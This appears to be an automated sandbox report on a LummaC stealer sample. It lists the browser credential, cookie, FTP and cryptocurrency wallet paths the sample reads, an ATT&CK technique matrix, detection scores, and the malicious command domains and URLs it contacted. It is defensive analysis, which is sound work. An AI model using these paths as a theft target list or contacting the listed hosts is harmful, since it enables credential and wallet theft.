Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	11 Input Capture	13 File and Directory Discovery	Remote Desktop Protocol	31 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	Logon Script (Windows)	12 Process Injection	1 Obfuscated Files or Information	Security Account Manager	226 System Information Discovery	SMB/Windows Admin Shares	11 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	1 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	111 Masquerading	LSA Secrets	521 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	221 Virtualization/Sandbox Evasion	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	221 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	2 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Setup.exe	22%	ReversingLabs	Win32.Backdoor.Generic
Setup.exe	28%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe	74%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Temp\is-5T92T.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-5T92T.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-ERM5B.tmp\_isetup\_isdecmp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-ERM5B.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	0%	ReversingLabs
C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe (copy)	8%	ReversingLabs
C:\Users\user\AppData\Roaming\ColorStreamLib\is-27FCF.tmp	8%	ReversingLabs

Source	Detection	Scanner	Label
https://quantitypitt.click/api	0%	Avira URL Cloud	safe
http://crl.microsoft6K	0%	Avira URL Cloud	safe
http://www.autohotkey.comCould	0%	Avira URL Cloud	safe
https://dfgh.online/invoker.php?compName=user-PC	100%	Avira URL Cloud	malware
http://michaeluno.jp/H	0%	Avira URL Cloud	safe
quantitypitt.click	0%	Avira URL Cloud	safe
https://quantitypitt.click/	0%	Avira URL Cloud	safe
http://michaeluno.jp/	0%	Avira URL Cloud	safe
http://crl.usertru	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cegu.shop	185.161.251.21	true	false	high
quantitypitt.click	172.67.186.189	true	true	unknown
klipvumisui.shop	172.67.208.58	true	false	high
cKtBIQZTpYxWiHklAhxDUWfOR.cKtBIQZTpYxWiHklAhxDUWfOR	unknown	unknown	false	unknown
dfgh.online	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://quantitypitt.click/api	true	Avira URL Cloud: safe	unknown
https://klipvumisui.shop/int_clp_sha.txt	false		high
quantitypitt.click	true	Avira URL Cloud: safe	unknown
rabidcowse.shop	false		high
wholersorie.shop	false		high
cloudewahsj.shop	false		high
noisycuttej.shop	false		high
nearycrepso.shop	false		high
https://cegu.shop/8574262446/ph.txt	false		high
framekgirus.shop	false		high
tirepublicerj.shop	false		high
abruptyopsn.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
